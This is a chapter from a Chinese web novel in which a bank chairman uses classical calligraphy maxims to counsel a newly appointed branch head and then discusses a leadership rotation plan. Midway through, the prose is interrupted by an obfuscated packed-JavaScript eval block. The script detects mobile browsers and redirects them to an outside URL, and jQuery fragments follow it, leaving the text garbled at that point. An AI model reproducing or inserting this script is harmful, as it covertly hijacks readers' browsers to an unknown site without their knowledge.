上官骏仿佛看出闻哲的尴尬。


    笑一笑起身一摆手将闻哲引进办公室相连的一个房间。


    二十多平方的房间


    摆着一张整块有三米长、一米宽的金丝楠木做成的大书案上面都是各种文房四宝。


    北面一整面墙顶天立地都是书橱放满了书籍。


    南面墙是一幅巨幅草书“沁园春”龙飞凤舞、气象万千正是董事长本人的手笔。


    闻哲暗自咂舌他从来没有听说过二十八楼还有董事长的这么一间书房。


    上官骏走到书案前提起毛笔在一张宣纸上定下“犹若登阵”四个字。


    指着对面的一张椅子让闻哲坐下。闻哲赶忙到阳台上从圆桌上端了那两杯茶回来将董事长的那杯小心放在他面前自己才坐下听教。


    “这第四你要记住‘笔是将军’。是书圣王羲之的说法他对毛笔的神奇作用有独到见解说下笔不用急故须迟何也？笔是将军故须持重！


    王羲之的意思是将军一个命令关系到战争胜败、土之得失、人之生死。


    作书笔一落纸墨便成形字的生命骨、肉、气、血、神就万不可改变了。


    因此书者下笔要像将军发布作战命令一样审时度势谨慎从事不可操之过急。


    “王羲之还曾经把笔比作大刀、长矛对于笔下的字的生命有生杀予夺的作用


    用起笔来一定要慎之又慎。


    所以闻哲同志你担纲一个一级分行手中有权就要慎之又慎明白吗？”


    闻哲忙说：“我一定铭记您的教诲、听您的指挥。”


    上官骏一笑


    “这第五是用笔如‘孤篷自振’。是唐代书法家张旭说的话‘孤篷自振’是说用笔要像一种孤单的飞篷草浑身摇动一样触动奋起、翻转奔逐。


    张旭领悟到草书的用笔达到了期望的‘振飞’境界。


    这个要用在我们的工作、生活上特别是像你有了一定的权力之后要耐的住寂寞。要在自我革命、自我完善中达到自我成长、腾飞的境界。”


    闻哲已忘了要记下董事长的话目不转睛的看着董事长。


    “最后呢是黄庭坚说的‘长年荡桨’。由船工摇桨的动作领悟用笔如何自然如船工般悠然‘荡漾’一扫痴钝的笔意。


    其实这就是所谓的一张一驰、文武之道的道理。在你的工作管理方面尤其重要。


    要记住


    闻哲性格是很自负的尤其是在文字、书法方面常有舍我其谁的傲气。


    今天听了董事长的一席话目瞪口呆之余剩下就是心服口服。


    上官骏见他是由衷的敬佩连客套的奉承都忘了说就自得的端起茶杯喝了几口又说：


    “练书法不是为了炫技而是要培养自己的‘书法气质’。


    我想所谓的‘书法气质’无非有这么几种


    一是雄浑如魏碑。让人感受到一股雄强和浑厚之气大刀阔斧大气淋漓震撼人心。


    二是淡雅如清菊。有清淡典雅、迷人气质就是平常说的领导个人魅力让人如沐春风。


    三是要沉着如颜体。如身为大将军一样足以应付瞬息万变的场面。


    闻哲同志沉着是一个人也是书法成熟的标志没有了浮躁和轻佻给人稳重与可靠之感。


    这也是领导者成熟的标志。


    四是含蓄如弘一法师的字稚拙中包含了无限的智慧。含蓄也是毛笔书法的哲学意义其实中国人的气质不象钢笔那样锋芒必露。


    你是分行一把手许多场合大喊大叫是不成的要不怒自威的气质才行。


    五是缜密如柳体楷书。让我们能感悟心正则笔正的人生哲学。‘密不透风疏可走马’。


    而‘缜密’二字更是我们从事金融工作的同志、特别是各级领导同志所必须具备的素质。”


    闻哲是彻底的服气了。


    “董事长您教导的‘六方用笔’、‘五种气质’不仅是在书法造诣上也是在人生的各个方面真是值得我一生去领悟、一生去践行。”


    “哈哈没有那么玄乎只是我几十年来写字的心得。如果有所共鸣就善莫大焉了。”


    他兴致勃勃抽出一张八开的宣纸抽出一支毛笔在砚台上润了润提笔疾书


    “与闻哲同志闲聊书法之道言及古人用笔之精要


    在鹰望鹏逝、游鱼得水、犹若登阵、笔是将军、孤篷自振、长年荡桨之道也。


    而书法于人生之修养在养雄浑、淡雅、沉着、含蓄、缜密之气质矣。


    此斯为要与之共勉。年月日。上官骏随笔。”


    搁笔抬头对闻哲一笑“今天没有精力了就不写大张的字赠你了随手写这么几句罢。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826724|158808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又落款、用了印。


    闻哲大喜感激莫名忙双手捧过。


    “董事长信笔而写，其实是最好的书法了。就像王羲之的一些书信帖子、还有兰亭诗序，都是率性而写，水平反而是最高的了。”


    上官骏大是高兴，舒服的坐下来喝茶。


    “坐下说。聊了半天书法，说说你在工作上有什么要沟通的？”


    闻哲小心斟酌着说：“一些业务上的工作，我会按您的要求，向分管领导和部门去汇报，案件上的事，会配合丁书记的工作。我有个想法，嗯，想对分行的领导班子成员的分工进行调整。另外，从总行选一个骨干，去分行任风险部总经理。”


    黄玉龙自杀，尽快选一个风险部负责人，也是情理之中的事。


    “分行风险部的负责人人选，你同总行风险部、人事部沟通一下，提出人选名单。


    如果是从你们分行内部产生，分行定了就行。如果是外部招聘、或者从总行机关产生，就按正常招聘、选拔流程走。具体确定，你定了就可以。


    “闻行长想推动分行领导整体的轮岗？”


    “董事长，我考虑，一个分行领导在任时间长了，一是可能会出现松懈现象，二是一些潜在风险很难发现。


    轮轮岗，对大家也是一个提醒，同时，也可以发现一些隐性的风险问题。”


    说着，闻哲把打印好的分工调整方案拿出来，双手递给董事长。


    上官峻接过，看了看，眉头微簇，让闻哲心一跳。


    “嗯，最好不要大动。你自己斟酌吧。”


    董事长的态度突然一冷，让闻哲有些莫名其妙，又万分紧张起来。


    但闻哲知道，自己必须争取这个措施得到实施。


    揣摸董事长的意思，是不是怕自己动作过大，引起反弹，又控制不了。


    闻哲斟酌了一下说：


    “那么只将分管公司线的艾行长、同分管零售的邱行长换一下岗。其他的暂时不动。”


    “我是希望，分行班子成员能全面熟悉银行各项，成为银行工作全才。”


    上官骏微微一笑说：“你既然都考虑了，先这么定吧。记住，还是要稳定！”


    闻哲有些失落。


    今天本来很圆满的谈话，像一件完美的瓷器，突然出现一道裂纹。